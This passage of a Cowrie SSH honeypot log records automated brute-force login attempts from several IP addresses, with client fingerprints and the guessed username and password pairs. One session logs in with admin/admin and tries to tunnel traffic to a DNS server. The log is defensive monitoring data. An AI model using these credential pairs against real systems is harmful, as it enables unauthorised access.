],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:55.248298Z","src_ip":"50.116.72.139","session":"95583f7f6bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lc123456","message":"login attempt [root/Lc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:55.383290Z","src_ip":"50.116.72.139","session":"95583f7f6bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:06:56.412138Z","src_ip":"50.116.72.139","session":"95583f7f6bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":48376,"dst_ip":"159.203.135.109","dst_port":22,"session":"2206a17cdc9e","protocol":"ssh","message":"New connection: 14.103.118.145:48376 (159.203.135.109:22) [session: 2206a17cdc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:07:26.698925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:07:26.704062Z","src_ip":"14.103.118.145","session":"2206a17cdc9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:07:26.950902Z","src_ip":"14.103.118.145","session":"2206a17cdc9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:07:28.639176Z","src_ip":"14.103.118.145","session":"2206a17cdc9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:07:31.567608Z","src_ip":"14.103.118.145","session":"2206a17cdc9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":50514,"dst_ip":"10.17.0.5","dst_port":22,"session":"210b17049908","protocol":"ssh","message":"New connection: 50.116.72.139:50514 (10.17.0.5:22) [session: 210b17049908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:07:57.671430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:07:57.676317Z","src_ip":"50.116.72.139","session":"210b17049908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:07:57.701989Z","src_ip":"50.116.72.139","session":"210b17049908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucas","message":"login attempt [root/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:07:57.837076Z","src_ip":"50.116.72.139","session":"210b17049908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:07:58.866835Z","src_ip":"50.116.72.139","session":"210b17049908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1638,"dst_ip":"10.17.0.5","dst_port":22,"session":"2711af2a3feb","protocol":"ssh","message":"New connection: 87.251.64.176:1638 (10.17.0.5:22) [session: 2711af2a3feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:16.097048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:16.109446Z","src_ip":"87.251.64.176","session":"2711af2a3feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:16.204331Z","src_ip":"87.251.64.176","session":"2711af2a3feb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:16.578882Z","src_ip":"87.251.64.176","session":"2711af2a3feb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:16.679037Z","session":"2711af2a3feb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:16.774616Z","src_ip":"87.251.64.176","session":"2711af2a3feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:16.872092Z","src_ip":"87.251.64.176","session":"2711af2a3feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":20364,"dst_ip":"10.17.0.5","dst_port":22,"session":"44c4ecd37115","protocol":"ssh","message":"New connection: 180.243.191.141:20364 (10.17.0.5:22) [session: 44c4ecd37115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:45.795367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:45.801255Z","src_ip":"180.243.191.141","session":"44c4ecd37115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:46.073573Z","src_ip":"180.243.191.141","session":"44c4ecd37115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1234!@#$","message":"login attempt [root/Root1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:47.182972Z","src_ip":"180.243.191.141","session":"44c4ecd37115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:48.455310Z","src_ip":"180.243.191.141","session":"44c4ecd37115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":52612,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ca17cc57bce","protocol":"ssh","message":"New connection: 50.116.72.139:52612 (10.17.0.5:22) [session: 3ca17cc57bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:59.385365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:59.395649Z","src_ip":"50.116.72.139","session":"3ca17cc57bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:59.422264Z","src_ip":"50.116.72.139","session":"3ca17cc57bce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123123123","message":"login attempt [root/Admin123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:08:59.558249Z","src_ip":"50.116.72.139","session":"3ca17cc57bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:00.587603Z","src_ip":"50.116.72.139","session":"3ca17cc57bce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":35026,"dst_ip":"10.17.0.5","dst_port":22,"session":"70ec4a7def58","protocol":"ssh","message":"New connection: 171.244.141.86:35026 (10.17.0.5:22) [session: 70ec4a7def58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:34.075776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:34.080380Z","src_ip":"171.244.141.86","session":"70ec4a7def58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:34.368632Z","src_ip":"171.244.141.86","session":"70ec4a7def58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yocto","password":"yocto","message":"login attempt [yocto/yocto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:35.343947Z","src_ip":"171.244.141.86","session":"70ec4a7def58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:36.580600Z","src_ip":"171.244.141.86","session":"70ec4a7def58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52870,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7a8c4fa311a","protocol":"ssh","message":"New connection: 87.251.79.125:52870 (10.17.0.5:22) [session: b7a8c4fa311a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:37.797854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:37.802041Z","src_ip":"87.251.79.125","session":"b7a8c4fa311a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:37.873111Z","src_ip":"87.251.79.125","session":"b7a8c4fa311a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goldberg","message":"login attempt [root/goldberg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:38.090620Z","src_ip":"87.251.79.125","session":"b7a8c4fa311a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:39.166732Z","src_ip":"87.251.79.125","session":"b7a8c4fa311a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":12530,"dst_ip":"10.17.0.5","dst_port":22,"session":"cee9939af22d","protocol":"ssh","message":"New connection: 180.243.191.141:12530 (10.17.0.5:22) [session: cee9939af22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:47.199629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:47.204673Z","src_ip":"180.243.191.141","session":"cee9939af22d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:47.474499Z","src_ip":"180.243.191.141","session":"cee9939af22d","protocol":"ssh"}
